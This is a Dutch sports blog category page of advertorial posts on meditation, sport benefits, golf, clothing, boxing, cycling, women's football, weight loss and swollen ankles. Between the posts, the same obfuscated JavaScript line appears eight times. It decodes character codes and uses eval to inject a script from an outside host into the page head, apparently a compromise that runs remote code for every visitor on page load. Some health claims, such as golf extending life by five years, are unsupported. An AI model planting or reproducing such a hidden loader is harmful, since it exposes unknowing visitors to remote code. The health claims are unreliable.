Categorie: Sport

Je meditatieruimte inrichten

Meditatie is een krachtige manier om lichaam en geest tot rust te brengen en het hoeft geen zware taak te zijn om dagelijks te doen. Meditatie helpt je een kalme en geconcentreerde geest te ontwikkelen die je kan helpen elk doel in het leven te bereiken. Hoe kun je dit bereiken? Meditatie vereist een bepaalde omgeving en routing die het voor jou gemakkelijker maakt om je te concentreren. Daarom is een meditatieruimte een cruciaal onderdeel van je meditatie routine. Een manier om ervoor te zorgen dat je meditatieruimte comfortabel is, is door de juiste spullen te kopen die je nodig hebt voor Yoga. Een van deze dingen zijn meditatiekussens. Je moet je meditatieruimte vrij maken van afleiding zoals rommel of andere onnodige zaken.

Gebruik een comfortabel meditatiekussen

Om comfortabel te kunnen mediteren heb je een meditatiekussen van Yogashop nodig. Het is belangrijk dat het kussen de juiste maat heeft voor je lichaam. Je moet er ook voor zorgen dat het stevig genoeg is om je rug te ondersteunen. Als je een meditatiekussen hebt, moet je controleren of het kussen hard of bobbelig aanvoelt. Zo ja, dan is het tijd voor een upgrade.

De ruimte vrijmaken

Als je eenmaal een locatie hebt gekozen, is de volgende stap het vrijmaken van alles wat je zou kunnen afleiden. Ruim alle rommel op en verwijder alles wat je concentratievermogen zou kunnen belemmeren. Je hebt een ontspannende omgeving nodig om goed te kunnen mediteren. Besteed hier dus wat aandacht aan!

Houd het netjes

Je meditatieruimte moet een weerspiegeling van jou zijn. Als het rommelig is, is dat een indicatie dat je innerlijke leven rommelig en ongeorganiseerd is. Is het opgeruimd, dan zijn je gedachten en emoties waarschijnlijk ook georganiseerd. Het lijkt misschien iets triviaals, maar je meditatieruimte schoon en opgeruimd houden kan een diepgaand effect hebben op hoe gemakkelijk het voor je is om in de meditatie modus te komen.

Maak het speciaal

Je meditatieruimte is een ruimte waar je heen wilt, niet een plek die je wilt vermijden. Zorg ervoor dat je omgeving rustig en vredig is. Maak het speciaal voor jezelf, zodat je er graag bent en je tijd wilt doorbrengen in je meditatieruimte. Als de ruimte niet comfortabel is, verander er dan iets aan totdat het goed voelt.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Waarom sporten een goede keuze is

Tegenwoordig zie je veel mensen bezig zijn met sport. Hierbij kun je denken aan het meedoen van een hardloopwedstrijd, maar ook andere sporten. Wanneer je sport ervaar je positieve effecten hiervan, maar wat zijn deze effecten dan precies? Waarom is sporten een goede keuze om te doen? Hieronder lees je daar meer over!

Verminderen van stress

Helaas heeft iedereen wel eens last van stress. Dit kan veel verschillende oorzaken hebben, maar bovenal erg vervelend zijn. Om stress te kunnen verminderen zijn er verschillende opties. Zo kun je kiezen voor een meditatie, maar seks of masturbatie door middel van bijvoorbeeld een Vibrator kan ook goed helpen. Daarnaast is sport ook een hele goede oplossing. Wanneer je sport ben je namelijk bewust bezig met je ademhaling en bewegingen, waardoor je rust creëert in je hoofd. Ook maakt je lichaam tijdens het sporten gelukshormonen aan. Dit zorgt ervoor dat stress verdwijnt en je je dus lekkerder zal voelen in je vel. 

Verbeteren van slaap

Slaap is voor iedereen van groot belang. De een is een liefhebber van het lekker luieren in bed, terwijl de ander het liefste zo veel mogelijk bezig is en dus zo snel mogelijk het bed uit wilt. Slaap is dus voor iedereen belangrijk en zeker een punt om de aandacht aan te besteden. Het kan zo nu en dan namelijk best lastig zijn om in slaap te komen. Wanneer je sport, zul je merken dat je sneller en daarnaast beter zal slapen. Hierdoor ben je overdag energieker en heb je meer aan de dag. Wel is het belangrijk niet te sporten voordat je gaat slapen. Wanneer je dit doet, is je lichaam energiek en wakker en zul je dus niet snel in slaap kunnen komen.

Ervaar meer energie

Door te sporten ervaar je ook veel energie. Deze energie komt vrij wanneer je sport en daarna. De reden hiervan is dat je tijdens het sporten meer zuurstof krijgt. Hierdoor ervaart je lichaam het gevoel van veel energie, waardoor je er als het ware de hele dag tegenaan kunt. Zeker niet geheel onbelangrijk in je leven dus. 

Je kunt je doelen behalen

In veel gevallen zijn mensen nog niet helemaal tevreden met hun lichaam. Hierbij kan sport een goed steentje bijdragen. Denk bijvoorbeeld aan wanneer je wilt afvallen. Op het moment dat je gewicht kwijt wilt raken, kun je dit goed doen met behulp van sporten. Handig hierbij is het om doelen te stellen. Deze doelen zijn zo gesteld dat ze specifiek, meetbaar, acceptabel, realistisch en tijdsgebonden zijn. Hierdoor weet je wat je kunt verwachten, waar je naartoe wilt en kun je door middel van de juiste sport ervoor zorgen dat je deze doelen behaald. 

Meer zelfvertrouwen

zelfvertrouwen is erg fijn om te hebben. Niemand wilt onzeker zijn over de persoon die hij is. Belangrijk is het dus om dat zelfvertrouwen te kunnen vinden. Een van de aspecten die mee kunnen spelen bij het vinden van zelfvertrouwen is het uitvoeren van een sport. Wanneer je namelijk sport, behaal je je doelen en verandert je lichaam. Hierdoor zul je je sneller tevreden voelen over je uiterlijk en krijg je dus zelfvertrouwen. Dit in combinatie met de gelukshormonen maken het dus erg leuk om te gaan sporten. 

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Op zoek naar een leuke sport? Probeer golf!

Golf een sport is die je de rest van je leven kunt spelen. Het is bewezen dat het je levensduur met maximaal vijf jaar verlengt. Dit is een van de vele voordelen. Golf is een sport die je de rest van je leven kunt spelen. Als je vanaf kleins af aan regelmatig gaat golven, zul je er voor altijd van houden. Golf is een sport die wordt gewaardeerd door mensen van alle leeftijden en geslachten. Er zijn veel van de beste spelers ter wereld die op senior niveau spelen. De meeste mensen gaan ervan uit dat alleen oudere mensen met een golftas degenen zijn die golf spelen. Het kan inderdaad nog steeds lonend en competitief genoeg zijn om te spelen als je ouder bent. Golf belooft veel goeds voor spelers van alle leeftijden, omdat er niet veel atletisch vermogen voor nodig is. Je kunt dus blijven spelen naarmate je ouder wordt. Bovendien kun je de grondbeginselen van golf leren zonder te betalen voor lessen of lid te worden van een conventionele club door gratis online video’s van erkende golfverenigingen te bekijken.

Golf leert geduld

Golf is de beste sport omdat het geduld leert. Dit kan van de meeste sporten niet gezegd worden. Golf is een langzamer spel dat veel concentratie en nauwkeurigheid vereist. Voordat de bal je clubblad verlaat, heb je tijd om je slag te overwegen. Golf vereist ook een enorme hoeveelheid focus. Je maakt fouten als je niet oplet bij wat je doet. Als je doorgaat met oefenen, zal je concentratie en volharding verbeteren. Alle dingen duren lang voordat je er goed in wordt, maar als je dat doet, ben je trots op jezelf. Elke slag van de club van je Clicgear 4.0 golftrolley wordt beter naarmate je vaker speelt. Probeer het eens uit met je vriendinnen en ga gezellig een dagje naar de golfbaan!

Golfen heeft toekomstige kansen

Golf is een sport waar bijna iedereen van kan genieten en die potentieel lucratief kan zijn. Golf heeft veel van ’s werelds beste sporters geholpen om zich te vestigen en miljoenen gewone mensen profiteren steeds meer van de voordelen van golf als sport. Daarnaast kan golf een goede gelegenheid zijn om nieuwe mensen te leren kennen. Veel ondernemers komen samen op de golfbaan om hun zakelijke relaties te onderhouden en om kansen te bespreken. Wie weet ontmoet je daar wel een interessant persoon!

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Hoe kun je weten waar je kleding echt vandaan komt?

Duurzaamheid hebben we inmiddels allemaal hoog in het vaandel staan maar we weten inmiddels ook dat de kledingindustrie één van de meest vervuilende sectoren ter wereld is? Daarnaast zijn de misstanden in dezelfde industrie niet meer op één hand te tellen. Het is dan ook niet verwonderlijk dat steeds meer mensen zich afvragen waar hun kleding nou echt vandaan komt. In dit blog gaan we je er meer over vertellen.

Kies voor producenten die transparant zijn

Ga voor jezelf eens na waar je je kleding koopt, dan heb je al gauw een beeld van hoe duurzaam jouw kleding eigenlijk is. Koop je veel kleding en doe je dit vooral bij discountzaken? Dan ga je hoofdzakelijk voor de fast fashion en kun je er bijna vanuit gaan dat deze niet duurzaam en vaak in lage lonen landen (waar ook kinderarbeid geen vreemd fenomeen is) geproduceerd is. Wil je een bijdrage leveren aan het milieu en een statement maken tegen lage lonen en kinderarbeid? Dan kun je beter kiezen voor producenten die transparant zijn over waar hun kleding vandaan komt en die duurzaamheid hoog in het vaandel hebben staan. Eén van die producenten is bijvoorbeeld een merk van eigen bodem: by-bar. Dit merk is transparant over de leveranciers en de relatie met de leveranciers en daarnaast zijn ze volledig open in de communicatie over duurzaamheid. Zo weet je zeker dat je iets goeds koopt dat eerlijk geproduceerd is. 

Hoe weet je of je kleding “schoon” is

Natuurlijk is de kleding die je uit de rekken in de winkel haalt schoon. We bedoelen hiermee hoe weet je zeker dat er geen narigheid aan je kleding kleeft in de vorm van bijvoorbeeld kinderarbeid en hoe zit het met de duurzaamheid? Als je dit echt na wil gaan kun je bijvoorbeeld de database van Fair Wear Foundation checken. Hierin kun je merken ingeven waarna je in één oogopslag kunt zien hoe eerlijk en transparant ze zijn. Daarnaast is er de non-profit organisatie Made By. Deze organisatie houdt bij in hoeverre de productie van stoffen schadelijk is voor het milieu. Tot slot bestaan er diverse apps waarin je na kunt gaan waar je kleding vandaan komt en hoe duurzaam dit geproduceerd is. 

Hoe kun je verantwoorde kleding kopen?

In Nederland is al ruim twintig jaar de “Schone Kleren Campagne” actief. Deze organisatie heeft contacten met organisaties in de kleding producerende landen en doet onderzoek naar de arbeidsomstandigheden in kledingfabrieken. “Schone Kleren” brengt rapporten en fact sheets uit over de omstandigheden waaronder kleding, die verkrijgbaar is in Nederlandse winkels, geproduceerd is. Wil je zeker weten dat je kleding onder goede sociale omstandigheden geproduceerd is, dan kun je kleding kopen die Fair Trade gecertificeerd is. Deze kleding is geproduceerd onder menselijke omstandigheden, waarbij arbeiders het recht hebben zich te verenigen in vakbonden en een fatsoenlijke beloning ontvangen. De Fair Trade labelling Organisation houdt hierop toezicht. Wanneer er aan de voorwaarden voor Fair Trade wordt voldaan, kan de kleding een Fair Trade label toegekend krijgen. 

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

De voordelen van boksen voor de gezondheid

Tegenwoordig wordt boksen steeds populairder, vooral bij jongvolwassenen. Het doen van boksen Utrecht is dan ook een vrij inspannende maar leuke sport. Boksen is een zelfverdedigingssport die zich richt op de beweging en kracht van de spieren van de handen en voeten. In deze sport wordt ook getraind om snel te bewegen om te slaan en te voorkomen dat je geraakt wordt. Alle ledematen zullen bewegen, dus boksen is zeer effectief voor degenen die willen afvallen en een idealer lichaam willen vormen. Naast het vergroten van de spierkracht, traint boksen ook behendigheid en snelheid. De ogen en handen worden ook getraind om tegelijkertijd snel te bewegen, zodat je je concentratie en focus verbeterd . Als je geïnteresseerd bent in het beoefenen van boksen of kickboksen, kun je naar een fitnesscentrum gaan voor een les. Voor het zover is, moet je eerst enkele voordelen van het boksen kennen.

Verminder stress en train mentaal

Je moet weten dat naast het feit dat het nuttig is voor het trainen van spierkracht en de gezondheid van het lichaam, boksen in een fitnesscentrum zoals All In Fitness ook nuttig is voor het verminderen van stress en het trainen van mentaliteit. Boksen is een sport en een krijgskunst. Hierbij maak je boksbewegingen zoals slaan, schoppen of pareren. Dit maakt endorfine vrij en kan stress verminderen. Daarnaast kan je met boksen ook je mentaliteit trainen en je zelfvertrouwen vergroten.

Effectief voor vetverbranding

Boksen is een sport die alle delen van het lichaam in beweging brengt. Het is dus zeer effectief voor het verbranden van vet in het lichaam, vooral vet in de buikstreek. Daarom kan het volgen van bokstraining de juiste keuze zijn voor degenen die willen afvallen en een idealer postuur willen vormen. Naast het uiterlijk is het verbranden van overtollig vet in het lichaam ook zeer goed voor de gezondheid. Overtollig vet kan namelijk leiden tot allerlei gevaarlijke ziekten, zoals diabetes, hartziekten en kanker.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Waarom je specifieke fietskleding nodig hebt

Je hebt vast wel gewone sportkleding in je kast. Fietsen is een actieve sport. Daarom kun je toch gewoon algemene activewear dragen tijdens het fietsen? Het korte antwoord is nee. Fietskledij heeft specifieke kenmerken om je comfortabeler, efficiënter, beter beschermd en over het algemeen gelukkiger te maken op je fiets. Lees hieronder belangrijke redenen waarom je fietsspecifieke kleding zou moeten kopen voor een betere fietservaring.

Vermijd katoen

Er zijn een aantal dingen die duidelijk moeten zijn als het gaat om fashion for cycling. Katoen is geen ideaal materiaal voor actieve kleding. Als je actief bent, zweet je. Als je zweet, wordt je kleding nat. Als katoen nat wordt, blijft het nat. Bovendien duurt het lang voordat katoen uitdroogt en verkoelt het je slecht als het water verdampt. De volgende keer dat je je ding doet, moet je eens kijken naar de mensen die aan het sporten zijn. Je kunt het katoen herkennen aan de donkere zweetvlekken. Hoogwaardige materialen zoals lycra, nylon, polyester, spandex en merinowol trekken dat vocht van je huid, brengen het over naar de buitenste lagen van het materiaal en helpen het in de lucht te verdampen. Dit overdracht-verdampingsproces helpt je ook om je af te koelen. Dit is iets waar katoen verschrikkelijk in is.

Het draait allemaal om comfort

Weet je wat kleding specifiek maakt voor wielrennen? Het is niet altijd een race ding. Er is zeker belachelijk goed ontworpen, aerodynamische kleding, maar het belangrijkste doel van wielerkleding is om je rit aangenamer te maken. Fietskleding is ontworpen om comfortabeler op de fiets te zitten, om langer te fietsen en om efficiënter te zijn, ongeacht je fietsniveau. Of je nu een blokje om rijdt of door het hele land, fietskleding zorgt voor een betere, comfortabelere rit.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Kunnen de Oranje Leeuwinnen hun titel verdedigen?

Op 31 juli is de finale van het EK voor vrouwen elftallen in het enorme Wembley stadion in Londen. Als alles volgens verwachting verloopt, zou het Nederlands elftal vrouwen daar haar in 2017 behaalde titel kunnen verdedigen. Maar dan moet er eerst vanaf 6 juli in Engeland nog het een en ander worden gepresteerd. Nederland zit in een poule die niet echt gemakkelijk is en lijkt de laatste tijd wat minder in vorm te zijn tegen toplanden. Dat blijkt ook uit de plaats op de wereldranglijst voor damesvoetbal.

Een kijkje terug naar 2017

Vrouwen sporten steeds vaker en ook een sport als voetbal is bij de dames inmiddels razend populair. Het vorige EK voor de voetbalvrouw vond plaats in ons land. In principe was het volgende EK gepland voor 2021. Vanwege het coronavirus is het toernooi uitgesteld naar de zomer van 2022. Ondanks het thuisvoordeel behoorde Nederland slechts tot de kanshebbers voor de titel, maar was zeker niet de topfavoriet. Het Nederlands elftal was automatisch geplaatst en kon zich dus zonder kwalificatie richten op het EK. Ook had het vrouwenvoetbal een belangrijker plaats gekregen in ons land met een competitie voor betaalde elftallen van de grote clubs.

De beste speelsters kwamen echter uit de buitenlandse competities en speelden bij teams als Barcelona en Manchester United. Na de poule-fase begon het past echt en moesten de Leeuwinnen het opnemen tegen een van de grootmachten van het vrouwenvoetbal: Zweden. In een moeilijke wedstrijd werd die horde met 2-0 genomen. Daarna leek het makkelijker te gaan en werd zowel Engeland als Denemarken verslagen. Het Nederlands vrouwenelftal behaalde voor een enthousiast publiek voor het eerst de Europese titel.

Hoe zijn de kansen van de Leeuwinnen in 2022?

Na het succes in eigen land kwam een mindere periode voor de oranje dames. Dat is ook af te lezen in de plaats op de wereldranglijst voor voetbal vrouwen. De regerend Europees kampioen staat momenteel 5e. De beter geplaatste teams zijn:

  1. Verenigde Staten van Amerika
  2. Zweden
  3. Duitsland
  4. Frankrijk

Nederland is geloot als groepshoofd in poule C die er als volgt uitziet:

  • Nederland
  • Zweden
  • Zwitserland
  • Rusland

De nummers 1 en 2 plaatsen zich voor de kwartfinale waarbij het belangrijk is om de poule te winnen om te voorkomen dat er meteen tegen een poulewinnaar uit een andere poule moet worden gespeeld. In poule C is Zweden uiteraard de grote concurrent gelet op de tweede plaats op de wereldranglijst van het 3-kronen elftal. Zwitserland is van minder kaliber en staat op het ogenblik 17e op de lijst. En dan is er nog Rusland. Nog maar kort geleden zou dit elftal als het zwakke zusje in de poule worden beschouwd. De Russinnen hadden het moeilijk om zich te plaatsen voor het EK en nemen op de ranglijst ook de 25ste plaats in. Daarmee worden ze nog steeds gezien als vrijwel kansloos in deze poule. Maar de wereld is veranderd en het is de vraag of Rusland

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

3 tips waardoor jij makkelijker kan afvallen

Voor sommige mensen is afvallen erg makkelijk en voor andere lijkt het onmogelijk. De een kan eten wat die wilt en de andere hoeft er maar naar te kijken of die is al aangekomen. Toch kan iedereen afvallen. Maar niet iedereen heeft genoeg tijd om elke dag intensief te sporten. Is dit dan nodig? Nee gelukkig niet. Er zijn erg veel manieren waarop je kan afvallen. Zo is op sporten na voeding ook erg belangrijk. Hieronder volgen 3 tips waardoor jij makkelijker kan afvallen.

Tip 1: Gezond ontbijt

Een gezond ontbijt is erg belangrijk bij het afvallen. Nu denk je misschien bij jezelf dat niet of nauwelijks ontbijten makkelijker is in de ochtend maar dit is erg slecht voor je. Een ontbijt stimuleert je stofwisseling en spijsvertering. Dit is erg belangrijk voor de rest van de dag. Ook zorgt een ontbijt er voor dat je gedurende de dag meer energie hebt. Hierdoor hoef je verdeeld over de dag ook minder te eten. Het is hierbij belangrijk dat je in de ochtend een ontbijt hebt met niet te veel koolhydraten er in. Maar waar zitten koolhydraten in? Je kan dit erg eenvoudig zien op de ingrediënten lijst van de producten in de supermarkt. Zo kan jij producten kopen met geen tot weinig koolhydraten.

Tip 2: Meer bewegen

Deze tip lijkt misschien erg vanzelf sprekend maar toch kan je erg makkelijk meer bewegen. Hiermee bedoel ik niet dat je elke dag moet gaan hardlopen maar dat je kleine aanpassingen doet in je dagelijks leven. Loop bijvoorbeeld een rondje na het middag eten en het avond eten. Of pak de trap in plaats van de lift. Met dit soort kleine aanpassingen kan jij gemakkelijker afvallen terwijl je het zelf nauwelijks door hebt!

Tip 3: Sla een snack over

Voor iedereen die zich doordeweeks heel goed aan een dieet houdt maar in het weekend niet is dit een belangrijke tip. Door in het weekend extra veel te snacken en minder te bewegen naar bijvoorbeeld je werk of naar school zorg je ervoor dat je weer opnieuw aankomt. Zorg dus dat je in het weekend niet al je moeite om af te vallen vergeet. Je kan het beste een snack over slaan of zorgen dat je ook in het weekend extra veel beweegt.  

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Wat zijn de oorzaken van dikke enkels en wat kun je eraan doen?

Een groot deel van de bevolking heeft geregeld last van dikke voeten. Behalve zwangere vrouwen en ouderen, hebben ook jongeren soms last van dikke enkels. Vervelend! In dit artikel bespreken we de verschillende oorzaken waarom je last kunt hebben van gezwollen voeten én wat je eraan kunt doen.

Waarom krijg je opgezwollen enkels?

Je krijgt last van dikke voeten en dikke enkels als de doorbloeding in je onderbenen om de één of andere reden niet ideaal is. Door de slechte bloedcirculatie, krijg je last van oedeem of vochtophoping.

Wat zijn de mogelijke oorzaken en wat moet je doen? 

Er zijn verschillende oorzaken. Hieronder lijsten we de meest voorkomende op. 

Oorzaak 1: hitte

Wanneer het lekker warm is, wil je lichaam warmte lozen. Hiervoor worden de aderen wijder gemaakt, waaronder de aderen in je onderlichaam. Zo wordt er meer bloed aangevoerd naar je benen en enkels. ‘s Avonds, als het kouder wordt, worden de aderen weer hun normale omvang, waardoor het extra bloed weer naar het hart moet worden gepompt. Als dit niet goed lukt, merk je dat aan de vochtophoping bij je enkels.

Op een warme dag is het daarom een aanrader om veel water te drinken. Laat daarnaast even het zoutvaatje naast je staan als je eet, want zout houdt vocht vast in je lichaam. Beweeg ook genoeg op een warme dag. Als je genoeg beweegt, blijven je kuitspieren actief. Deze helpen dan op het einde van de dag met de bloedcirculatie. 

Oorzaak 2: niet genoeg bewegen

Als je vaak uren achter je bureau zit, of geregeld lange uren reist in een vliegtuig/bus/trein, dan kun je ook last krijgen van gezwollen voeten. Je kuitspieren, die normaal meehelpen met de bloedcirculatie worden lui door het stilzitten. Hierdoor kan er vocht achterblijven in de laagste plekken van het lichaam. 

Probeer daarom tijdens het werk geregeld een stukje te wandelen. Ook op een lange vlucht of bus/treinreis is het een aanrader om – indien het mogelijk is- af en toe een beetje te bewegen. Probeer daarnaast niet met je benen gekruist te zitten, want dit knelt je aderen af. Wat ook handig kan zijn, is het dragen van steunkousen. Deze drukken op je onderbenen, waardoor de bloedcirculatie wordt gestimuleerd.  

Oorzaak 3: voeding

Ook je voeding kan veel invloed hebben op je lichaam. Zoals bij ‘Oorzaak 1’ al aangegeven, houdt zout (of technisch gezien het natrium in het zout) vocht op in het lichaam. Ook alcohol zorgt ervoor dat je lichaam meer vocht vasthoudt. Pas dus op met zout en drink niet te veel. 

Oorzaak 4: medische redenen

Ben je jong en gezond en heb je toch last van dikke enkels? Dan kan er een medische oorzaak aan de basis van je probleem liggen, zoals diabetes. Wij raden je aan om hiervoor contact op te nemen met je dokter. 

